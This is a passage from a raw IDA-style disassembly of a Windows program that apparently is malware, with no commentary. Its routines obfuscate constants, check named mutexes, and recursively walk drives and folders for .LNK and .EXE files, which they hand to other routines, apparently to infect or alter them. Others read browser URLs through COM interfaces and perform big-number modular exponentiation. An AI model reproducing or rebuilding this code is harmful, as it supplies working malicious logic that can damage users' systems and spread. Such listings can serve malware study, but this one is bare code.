add eax, dword_44B0E4
sub eax, 5
neg eax
loc_4434AD: ; CODE XREF: sub_44335A+141j
pop edi
pop esi
pop ebx
leave
retn
sub_44335A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4434B2 proc near ; CODE XREF: sub_43FEB1+184p
; sub_43FEB1+202p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, dword_44B164
lea eax, [ebp+var_4]
push eax
push offset dword_44C8DC
mov eax, [ebp+arg_0]
push eax
mov ebx, [eax]
call dword ptr ds:0[ebx]
mov edi, eax
mov eax, dword_44B138
add eax, dword_44B0F8
sub eax, 0Ah
cmp edi, eax
jz short loc_4434EE
xor eax, eax
jmp short loc_443558
; ---------------------------------------------------------------------------
loc_4434EE: ; CODE XREF: sub_4434B2+36j
lea eax, [ebp+var_8]
push eax
push [ebp+arg_8]
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+10h]
mov edi, eax
movsx eax, word_44B100
sub eax, 9
cmp edi, eax
jnz short loc_44354D
push [ebp+arg_C]
push [ebp+arg_4]
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+14h]
mov edi, eax
mov eax, dword_44B138
add eax, dword_44B0EC
sub eax, 0Dh
cmp edi, eax
jnz short loc_443544
mov eax, dword_44B164
movsx edx, word_44B100
mov esi, eax
add esi, edx
sub esi, 8
loc_443544: ; CODE XREF: sub_4434B2+7Dj
mov eax, [ebp+var_8]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
loc_44354D: ; CODE XREF: sub_4434B2+5Aj
mov eax, [ebp+var_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+8]
mov eax, esi
loc_443558: ; CODE XREF: sub_4434B2+3Aj
pop edi
pop esi
pop ebx
leave
retn
sub_4434B2 endp
; =============== S U B R O U T I N E =======================================
sub_44355D proc near ; DATA XREF: .data:0044B2E4o
mov eax, 80004001h
retn 8
sub_44355D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443565 proc near ; CODE XREF: sub_43C281+C5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 8000h
movsx eax, word_44B16C
add eax, dword_44B0F0
sub eax, 8
push eax
push [ebp+arg_0]
call ds:dword_449630 ; VirtualFree
pop ebp
retn
sub_443565 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443589 proc near ; CODE XREF: sub_443E95+239p
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 1
push [ebp+arg_4]
call sub_43B780
add esp, 8
mov [ebp+var_48], eax
test eax, eax
jnz loc_4437AC
mov [ebp+var_18], 8
push offset dword_44B794
call sub_43EFD7
pop ecx
push eax
call ds:dword_445044
mov [ebp+var_10], eax
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word_44B0D8
movsx edx, word_44B0E8
add eax, edx
sub eax, 0Ah
cmp ebx, eax
jnz loc_443790
lea eax, [ebp+var_3C]
push eax
push offset dword_44C91C
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44B194
add eax, dword_44B174
sub eax, 9
cmp ebx, eax
jnz loc_443787
mov [ebp+var_30], 2
mov eax, dword_44B0CC
dec eax
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_3C]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
movsx eax, word_44B0F4
sub eax, 9
cmp ebx, eax
jnz loc_44377E
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push offset dword_44C90C
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
cmp ebx, dword_44B164
jnz loc_443775
inc ds:dword_44761C
mov eax, dword_44B160
add eax, 2
cmp ds:dword_44761C, eax
jb short loc_4436DB
mov eax, dword_44B1B8
add eax, 2
add eax, dword_44B0EC
mov ds:dword_44761C, eax
push [ebp+var_4]
call sub_43C154
pop ecx
jmp loc_44376C
; ---------------------------------------------------------------------------
loc_4436DB: ; CODE XREF: sub_443589+12Fj
mov eax, dword_44B18C
dec eax
mov [ebp+var_4C], eax
lea eax, [ebp+var_44]
push eax
push ds:dword_44963C
call sub_43ACC9
mov [ebp+var_34], eax
lea eax, [ebp+var_40]
push eax
push ds:dword_445018
call sub_43ACC9
add esp, 10h
mov [ebp+var_38], eax
cmp [ebp+var_44], 0
jz short loc_44372C
cmp [ebp+var_34], 0
jz short loc_44372C
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_34]
call sub_43E5D5
add esp, 10h
loc_44372C: ; CODE XREF: sub_443589+186j
; sub_443589+18Cj
cmp [ebp+var_40], 0
jz short loc_44374D
cmp [ebp+var_38], 0
jz short loc_44374D
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_40]
push [ebp+var_38]
call sub_43E5D5
add esp, 10h
loc_44374D: ; CODE XREF: sub_443589+1A7j
; sub_443589+1ADj
push [ebp+var_34]
call ds:dword_447618 ; LocalFree
push [ebp+var_38]
call ds:dword_447618 ; LocalFree
push 0
push [ebp+arg_4]
call sub_43B780
add esp, 8
loc_44376C: ; CODE XREF: sub_443589+14Dj
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443775: ; CODE XREF: sub_443589+115j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_44377E: ; CODE XREF: sub_443589+EDj
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443787: ; CODE XREF: sub_443589+9Fj
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443790: ; CODE XREF: sub_443589+6Fj
lea eax, [ebp+var_18]
push eax
call ds:dword_44ABA0
mov eax, dword_44B0D4
add eax, dword_44B10C
sub eax, 8
cmp ebx, eax
jz short $+2
loc_4437AC: ; CODE XREF: sub_443589+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_443589 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4437B1 proc near ; CODE XREF: sub_440946+273p
; sub_442C0A:loc_442C3Ep
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push ebx
push esi
push edi
mov eax, dword_44B0AC
mov edi, eax
add edi, dword_44B174
sub edi, 0Bh
jmp loc_443855
; ---------------------------------------------------------------------------
loc_4437D2: ; CODE XREF: sub_4437B1+AEj
push offset dword_44B788
call sub_4424C1
mov [ebp+var_108], eax
push offset word_44B77E
call sub_4424C1
mov esi, dword_44B124
movsx ebx, word_44B0E8
add esi, ebx
sub esi, 5
push esi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call ds:dword_44A634
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 1F0001h
call ds:dword_449644 ; OpenMutexA
mov [ebp+var_104], eax
or eax, eax
jz short loc_443854
push eax
call ds:dword_449650 ; CloseHandle
mov eax, dword_44B0FC
sub eax, 6
cmp edi, eax
jnz short loc_44384D
xor eax, eax
inc eax
jmp short loc_443867
; ---------------------------------------------------------------------------
loc_44384D: ; CODE XREF: sub_4437B1+95j
mov eax, 2
jmp short loc_443867
; ---------------------------------------------------------------------------
loc_443854: ; CODE XREF: sub_4437B1+82j
inc edi
loc_443855: ; CODE XREF: sub_4437B1+1Cj
mov eax, dword_44B164
add eax, 64h
cmp edi, eax
jb loc_4437D2
xor eax, eax
loc_443867: ; CODE XREF: sub_4437B1+9Aj
; sub_4437B1+A1j
pop edi
pop esi
pop ebx
leave
retn
sub_4437B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44386C proc near ; DATA XREF: .data:off_44B2D8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_8]
push offset dword_44C96C
push esi
call ds:dword_44A644
or eax, eax
jz short loc_443898
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4438E0
; ---------------------------------------------------------------------------
loc_443898: ; CODE XREF: sub_44386C+1Aj
push offset dword_44C8EC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_4438B8
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4438E0
; ---------------------------------------------------------------------------
loc_4438B8: ; CODE XREF: sub_44386C+3Aj
push offset dword_44C8AC
push esi
call ds:dword_44A644
or eax, eax
jz short loc_4438D8
mov eax, [ebp+arg_0]
mov [edi], eax
push dword ptr [edi]
mov ebx, [eax]
call dword ptr [ebx+4]
xor eax, eax
jmp short loc_4438E0
; ---------------------------------------------------------------------------
loc_4438D8: ; CODE XREF: sub_44386C+5Aj
and dword ptr [edi], 0
mov eax, 80004002h
loc_4438E0: ; CODE XREF: sub_44386C+2Aj
; sub_44386C+4Aj ...
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_44386C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4438E7 proc near ; CODE XREF: sub_43B4C6+3Ep
; sub_43BE25+50p ...
var_252 = byte ptr -252h
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_443914
movsx eax, word_44B0BC
add eax, dword_44B18C
sub eax, 0Ah
mov [ebp+var_248], eax
jmp short loc_44398C
; ---------------------------------------------------------------------------
loc_443914: ; CODE XREF: sub_4438E7+13j
mov edx, [ebp+arg_4]
mov ecx, dword_44B1B0
cmp ds:dword_447630[edx*4], ecx
jnz short loc_44393C
push ebx
call ds:dword_447608 ; FindClose
mov eax, dword_44B0A8
sub eax, 2
push eax
call ds:dword_44A660 ; ExitThread
loc_44393C: ; CODE XREF: sub_4438E7+3Dj
mov eax, dword_44B0F8
add eax, 62h
mov [ebp+var_248], eax
push offset word_44B776
call sub_4424C1
push [ebp+arg_4]
push eax
lea edx, [ebp+var_252]
push edx
call ds:dword_44A634
add esp, 10h
lea eax, [ebp+var_252]
push eax
call ds:dword_44A664 ; GetDriveTypeA
cmp eax, 3
jnz short loc_44398C
movsx eax, word_44B148
add eax, 129h
mov [ebp+var_248], eax
loc_44398C: ; CODE XREF: sub_4438E7+2Bj
; sub_4438E7+91j
xor edi, edi
inc edi
push offset byte_44B76F
call sub_4424C1
push esi
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_44A634
add esp, 10h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_4439B0: ; CODE XREF: sub_4438E7+CEj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4439B0
mov edx, eax
movsx ecx, word_44B0E8
movsx eax, word_44B1A8
add ecx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_443A68
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_4439DA: ; CODE XREF: sub_4438E7+F8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4439DA
mov ecx, dword_44B1B8
add ecx, 1
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 4Ch
jnz short loc_443A68
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_443A06: ; CODE XREF: sub_4438E7+124j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443A06
mov ecx, dword_44B118
add ecx, 2
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 4Eh
jnz short loc_443A68
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_443A32: ; CODE XREF: sub_4438E7+150j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443A32
mov ecx, dword_44B144
add ecx, dword_44B0CC
sub ecx, 4
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 4Bh
jnz short loc_443A68
push esi
call sub_43DEF2
add esp, 4
loc_443A68: ; CODE XREF: sub_4438E7+E8j
; sub_4438E7+118j ...
mov ecx, esi
or eax, 0FFFFFFFFh
loc_443A6D: ; CODE XREF: sub_4438E7+18Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443A6D
mov edx, eax
movsx ecx, word_44B1A8
movsx eax, word_44B154
add ecx, eax
sub ecx, 3
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_443B2A
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_443A9A: ; CODE XREF: sub_4438E7+1B8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443A9A
mov ecx, dword_44B190
add ecx, 1
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 45h
jnz short loc_443B2A
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_443AC6: ; CODE XREF: sub_4438E7+1E4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443AC6
mov edx, eax
sub edx, dword_44B1C0
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 58h
jnz short loc_443B2A
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_443AED: ; CODE XREF: sub_4438E7+20Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443AED
movsx ecx, word_44B180
add ecx, dword_44B09C
sub ecx, 0Ch
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call ds:dword_445030
add esp, 4
cmp eax, 45h
jnz short loc_443B2A
push [ebp+var_248]
push esi
call sub_442A46
add esp, 8
loc_443B2A: ; CODE XREF: sub_4438E7+1A8j
; sub_4438E7+1D8j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_448258 ; FindFirstFileA
mov ebx, eax
movsx eax, word_44B0E0
movsx edx, word_44B154
add eax, edx
sub eax, 7
neg eax
cmp ebx, eax
jz loc_443C01
cmp [ebp+var_112], 2Eh
jz loc_443BFD
lea eax, [ebp+var_112]
push eax
push esi
push offset aSS_0 ; "%s%s\\"
lea eax, [ebp+var_242]
push eax
call ds:dword_44A634
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_4438E7
add esp, 1Ch
jmp short loc_443BFD
; ---------------------------------------------------------------------------
loc_443B9B: ; CODE XREF: sub_4438E7+318j
lea eax, [ebp+var_13E]
push eax
push ebx
call ds:dword_446004 ; FindNextFileA
mov edi, eax
or edi, edi
jnz short loc_443BC5
push [ebp+var_248]
call ds:dword_44A630
pop ecx
push ebx
call ds:dword_447608 ; FindClose
jmp short loc_443C01
; ---------------------------------------------------------------------------
loc_443BC5: ; CODE XREF: sub_4438E7+2C6j
cmp [ebp+var_112], 2Eh
jz short loc_443BFD
lea eax, [ebp+var_112]
push eax
push esi
push offset aSS_0 ; "%s%s\\"
lea eax, [ebp+var_242]
push eax
call ds:dword_44A634
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_4438E7
add esp, 1Ch
loc_443BFD: ; CODE XREF: sub_4438E7+27Dj
; sub_4438E7+2B2j ...
or edi, edi
jnz short loc_443B9B
loc_443C01: ; CODE XREF: sub_4438E7+270j
; sub_4438E7+2DCj
pop edi
pop esi
pop ebx
leave
retn
sub_4438E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443C06 proc near ; CODE XREF: sub_442E96+120p
; DATA XREF: sub_43B52C+A9o
var_270 = byte ptr -270h
var_26C = dword ptr -26Ch
var_267 = byte ptr -267h
var_203 = byte ptr -203h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 270h
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
lea eax, [ebp+var_267]
push eax
call sub_43BFE5
push offset dword_44B764
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
lea eax, [ebp+var_267]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_445020
push offset dword_44B75C
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
add esp, 24h
push 0
mov eax, dword_44B174
movsx edx, word_44B090
add eax, edx
sub eax, 0Ah
push eax
push 3
push 0
movsx eax, word_44B0D0
push eax
push 80000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_44A788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_443CB6
mov eax, 2Ah
jmp short loc_443D1F
; ---------------------------------------------------------------------------
loc_443CB6: ; CODE XREF: sub_443C06+A7j
push 0
lea eax, [ebp+var_270]
push eax
push 0FFh
lea eax, [ebp+var_203]
push eax
push edi
call ds:dword_445028 ; ReadFile
mov [ebp+var_26C], eax
push edi
call ds:dword_449650 ; CloseHandle
mov eax, dword_44B18C
add eax, dword_44B15C
sub eax, 5
cmp [ebp+var_26C], eax
jnz short loc_443CFC
mov eax, 2Ah
jmp short loc_443D1F
; ---------------------------------------------------------------------------
loc_443CFC: ; CODE XREF: sub_443C06+EDj
movzx eax, [ebp+var_203]
movsx edx, word_44B090
add edx, 20h
cmp eax, edx
jge short loc_443D18
mov eax, 2Ah
jmp short loc_443D1F
; ---------------------------------------------------------------------------
loc_443D18: ; CODE XREF: sub_443C06+109j
movzx eax, [ebp+var_203]
loc_443D1F: ; CODE XREF: sub_443C06+AEj
; sub_443C06+F4j ...
pop edi
pop esi
leave
retn
sub_443C06 endp
; =============== S U B R O U T I N E =======================================
sub_443D23 proc near ; CODE XREF: sub_441FCC+270p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
movsx eax, word_44B170
dec eax
cmp ecx, eax
jge short loc_443D61
movsx eax, word_44B180
dec eax
imul ecx, eax
mov eax, dword_44B178
sub eax, 2
mov edx, esi
add edx, eax
movsx eax, word_44B090
add eax, 3
imul edx, eax
sub ecx, edx
jmp loc_443E91
; ---------------------------------------------------------------------------
loc_443D61: ; CODE XREF: sub_443D23+11j
dec ecx
movsx eax, word_44B090
mov edx, dword_44B0F8
lea eax, [eax+edx+11h]
cmp ecx, eax
jge short loc_443D98
mov eax, dword_44B12C
sub eax, 3
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, dword_44B104
add edx, 0Ah
mov ecx, eax
sub ecx, edx
jmp loc_443E91
; ---------------------------------------------------------------------------
loc_443D98: ; CODE XREF: sub_443D23+52j
dec ecx
movsx eax, word_44B110
add eax, 1Eh
cmp ecx, eax
jge short loc_443DCD
mov eax, dword_44B184
add eax, dword_44B130
sub eax, 3
imul ecx, eax
mov eax, dword_44B178
add eax, 3Ah
add eax, dword_44B144
sub ecx, eax
jmp loc_443E91
; ---------------------------------------------------------------------------
loc_443DCD: ; CODE XREF: sub_443D23+82j
dec ecx
mov eax, dword_44B120
add eax, 22h
cmp ecx, eax
jge short loc_443DF4
mov eax, dword_44B1C4
sub eax, 3
imul ecx, eax
mov eax, dword_44B0B8
add eax, 42h
sub ecx, eax
jmp loc_443E91
; ---------------------------------------------------------------------------
loc_443DF4: ; CODE XREF: sub_443D23+B5j
dec ecx
mov eax, dword_44B1C0
add eax, 24h
movsx edx, word_44B0E8
add eax, edx
cmp ecx, eax
jge short loc_443E28
mov eax, dword_44B1C0
dec eax
imul ecx, eax
mov eax, dword_44B0FC
add eax, 48h
movsx edx, word_44B0E8
add eax, edx
sub ecx, eax
jmp short loc_443E91
; ---------------------------------------------------------------------------
loc_443E28: ; CODE XREF: sub_443D23+E5j
dec ecx
mov eax, dword_44B178
add eax, 30h
add eax, dword_44B1B8
cmp ecx, eax
jge short loc_443E58
mov eax, dword_44B178
add eax, dword_44B164
dec eax
imul ecx, eax
movsx eax, word_44B0BC
add eax, 61h
sub ecx, eax
jmp short loc_443E91
; ---------------------------------------------------------------------------
loc_443E58: ; CODE XREF: sub_443D23+116j
dec ecx
movsx eax, word_44B16C
lea eax, [eax+eax+31h]
cmp ecx, eax
jge short loc_443E81
mov eax, dword_44B12C
sub eax, 3
imul ecx, eax
movsx eax, word_44B19C
add eax, 6Ah
sub ecx, eax
jmp short loc_443E91
; ---------------------------------------------------------------------------
loc_443E81: ; CODE XREF: sub_443D23+143j
mov eax, dword_44B12C
add eax, 30h
add eax, dword_44B0B8
sub ecx, eax
loc_443E91: ; CODE XREF: sub_443D23+39j
; sub_443D23+70j ...
mov eax, ecx
pop esi
retn
sub_443D23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443E95 proc near ; CODE XREF: sub_4425A3+40p
var_10034 = dword ptr -10034h
var_10030 = byte ptr -10030h
var_1002C = dword ptr -1002Ch
var_10028 = dword ptr -10028h
var_10024 = dword ptr -10024h
var_10020 = byte ptr -10020h
var_10018 = dword ptr -10018h
var_10010 = dword ptr -10010h
var_1000C = dword ptr -1000Ch
var_10008 = dword ptr -10008h
var_10003 = byte ptr -10003h
var_10002 = byte ptr -10002h
var_10001 = byte ptr -10001h
var_10000 = byte ptr -10000h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10034h
call sub_444B40
push ebx
push esi
push edi
cmp dword_44B2B0, 0
jnz short loc_443EC2
mov eax, dword_44B14C
add eax, 4
cmp ds:dword_44761C, eax
jb loc_4440F1
loc_443EC2: ; CODE XREF: sub_443E95+17j
lea eax, [ebp+var_10020]
push eax
call ds:dword_445038
lea eax, [ebp+var_10030]
push eax
lea eax, [ebp+var_10020]
push eax
push 9
mov eax, dword_44B0F8
sub eax, 2
push eax
push [ebp+arg_0]
call ds:dword_448254
mov edi, eax
mov eax, dword_44B190
add eax, dword_44B098
sub eax, 0Ah
cmp edi, eax
jnz loc_4440F1
mov esi, [ebp+var_10018]
and [ebp+var_1000C], 0
lea eax, [ebp+var_1000C]
push eax
push offset dword_44C97C
push esi
mov edx, [esi]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_44B1C0
sub eax, 3
cmp edi, eax
jnz loc_4440F1
lea eax, [ebp+var_10024]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+78h]
mov edi, eax
cmp edi, dword_44B1A4
jnz loc_4440EB
lea eax, [ebp+var_10003]
push eax
push [ebp+var_10024]
call sub_43A9C0
add esp, 8
mov edx, eax
inc edx
mov [ebp+var_10034], edx
push [ebp+var_10024]
call ds:dword_44ABA0
cmp [ebp+var_10003], 68h
jnz short loc_443FAD
cmp [ebp+var_10002], 74h
jnz short loc_443FAD
cmp [ebp+var_10001], 74h
jnz short loc_443FAD
cmp [ebp+var_10000], 70h
jz short loc_443FB2
loc_443FAD: ; CODE XREF: sub_443E95+FBj
; sub_443E95+104j ...
jmp loc_4440EB
; ---------------------------------------------------------------------------
loc_443FB2: ; CODE XREF: sub_443E95+116j
lea eax, [ebp+var_10010]
push eax
mov eax, [ebp+var_1000C]
push eax
mov edx, [eax]
call dword ptr [edx+48h]
mov edi, eax
mov eax, dword_44B160
add eax, dword_44B158
sub eax, 8
cmp edi, eax
jnz loc_4440EB
lea eax, [ebp+var_4]
push eax
push offset dword_44C8FC
mov eax, [ebp+var_10010]
push eax
mov edx, [eax]
call dword ptr ds:0[edx]
mov edi, eax
mov eax, dword_44B0B4
sub eax, 8
cmp edi, eax
jnz loc_4440DF
lea eax, [ebp+var_10008]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+1B0h]
mov edi, eax
mov eax, dword_44B0E4
add eax, dword_44B144
sub eax, 7
cmp edi, eax
jnz loc_4440D6
lea eax, [ebp+var_10028]
push eax
mov eax, [ebp+var_10008]
push eax
mov edx, [eax]
call dword ptr [edx+70h]
mov edi, eax
movsx eax, word_44B128
add eax, dword_44B0F8
sub eax, 2
cmp edi, eax
jz short loc_44406A
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
jmp short loc_4440D6
; ---------------------------------------------------------------------------
loc_44406A: ; CODE XREF: sub_443E95+1C5j
xor ebx, ebx
mov eax, [ebp+var_10028]
cmp [ebp+var_10008], eax
jz short loc_44407D
xor ebx, ebx
inc ebx
loc_44407D: ; CODE XREF: sub_443E95+1E3j
mov eax, [ebp+var_10008]
push eax
mov eax, [eax]
call dword ptr [eax+8]
mov eax, [ebp+var_10028]
push eax
mov eax, [eax]
call dword ptr [eax+8]
or ebx, ebx
jnz short loc_4440D6
lea eax, [ebp+var_1002C]
push eax
mov eax, [ebp+var_4]
push eax
mov edx, [eax]
call dword ptr [edx+20h]
mov edi, eax
mov eax, dword_44B0A8
sub eax, 3
cmp edi, eax
jnz short loc_4440D6
push [ebp+var_1002C]
push [ebp+var_4]
call nullsub_2
push [ebp+var_1002C]
push [ebp+var_4]
call sub_443589
add esp, 10h
loc_4440D6: ; CODE XREF: sub_443E95+198j
; sub_443E95+1D3j ...
mov eax, [ebp+var_4]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_4440DF: ; CODE XREF: sub_443E95+16Dj
mov eax, [ebp+var_10010]
push eax
mov eax, [eax]
call dword ptr [eax+8]
loc_4440EB: ; CODE XREF: sub_443E95+C4j
; sub_443E95:loc_443FADj ...
push esi
mov eax, [esi]
call dword ptr [eax+8]
loc_4440F1: ; CODE XREF: sub_443E95+27j
; sub_443E95+6Ej ...
pop edi
pop esi
pop ebx
leave
retn
sub_443E95 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4440F8 proc near ; CODE XREF: sub_43AF9B+13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, dword_44C9CC
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_4441C3
xor edx, edx
loc_444128: ; CODE XREF: sub_4440F8+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_44413A
mov edx, [ebp+arg_4]
call sub_444154
loc_44413A: ; CODE XREF: sub_4440F8+38j
lea edx, dword_44C9CC
call sub_444154
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_444128
popa
pop ebp
retn 10h
sub_4440F8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_444154 proc near ; CODE XREF: sub_4440F8+3Dp
; sub_4440F8+48p
lea edi, dword_44C98C
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, dword_44C9CC
call sub_4441C3
loc_44416E: ; CODE XREF: sub_444154+5Dj
lea edi, dword_44C98C
mov ecx, 10h
xor eax, eax
loc_44417B: ; CODE XREF: sub_444154+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_44417B
call sub_4441D4
bt dword_44C9CC, ebx
jnb short loc_4441B0
mov esi, edx
lea edi, dword_44C98C
xor eax, eax
mov ecx, 10h
loc_44419F: ; CODE XREF: sub_444154+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_44419F
call sub_4441D4
loc_4441B0: ; CODE XREF: sub_444154+3Aj
dec ebx
jns short loc_44416E
mov edi, edx
lea esi, dword_44C98C
mov ecx, 10h
rep movsd
retn
sub_444154 endp
; =============== S U B R O U T I N E =======================================
sub_4441C3 proc near ; CODE XREF: sub_4440F8+29p
; sub_444154+15p
mov ebx, 1FFh
loc_4441C8: ; CODE XREF: sub_4441C3+Bj
bt [edi], ebx
jb short locret_4441D0
dec ebx
jnz short loc_4441C8
locret_4441D0: ; CODE XREF: sub_4441C3+8j
retn
sub_4441C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4441D4 proc near ; CODE XREF: sub_444154+2Ep
; sub_444154+57p
lea esi, dword_44C98C
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_4441E2: ; CODE XREF: sub_4441D4+19j
